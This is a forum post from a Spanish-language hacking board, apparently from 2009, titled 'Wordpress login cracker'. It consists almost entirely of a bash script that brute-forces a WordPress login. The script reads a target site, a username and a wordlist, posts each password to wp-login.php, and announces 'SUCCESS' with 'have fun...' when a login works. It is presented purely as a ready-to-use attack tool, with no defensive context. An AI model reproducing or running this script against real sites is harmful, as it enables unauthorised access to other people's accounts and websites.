Bl4ck~P0rtal

 
Por favor ingresa o regístrate.

Share this topic on Del.icio.usShare this topic on DiggShare this topic on FacebookShare this topic on GoogleShare this topic on MySpaceShare this topic on TechnoratiShare this topic on TwitterShare this topic on Yahoo

Autor Tema: Wordpress login cracker  (Leído 132 veces)

0 Usuarios y 1 Visitante están viendo este tema.

Desconectado ·!¦[·L€$$΀M·]¦!·

  • ®ØØT
  • *****
  • Mensajes: 688
  • Karma: 1341
  • Sexo: Masculino
    • ÐÎ$G®Ã©€ $ØLÐ΀®$ T€ÃM
Wordpress login cracker
« en: 13 de Junio de 2009, 03:17:53 »
Código: [Seleccionar]
#!/usr/bin/env bash
# wordpress brute, v0.2
 
echo "wordpress login cracker"
echo
echo "enter website with full path to wordpress:
"; read site
echo -n "enter wordpress user
"; read user
echo -n "enter wordlist path
"; read wlpath
 
n=`cat "$wlpath" | wc -l`
for (( i=1; i <= $n; i++));
do
#default user is admin
password=`sed -n "$i"p "$wlpath"`
b=`echo "log=$user&pwd=$password&wp-submit=Log+In&redirect_to=wp-admin" | lynx -dump -nolist -post_data ""$site"/wp-login.php" | grep ERROR`
 
echo trying user $user with password $password
 
if [ -z "$b" ]
then
 
echo "SUCCESS: "$site" password is: "$password""
echo "have fun..."
exit 0
fi
done
echo
echo "brute force complete"
echo "no password found :("

 

Powered by SMF | SMF © 2006–2009, Simple Machines LLC
ModernDark64 design by BlocWeb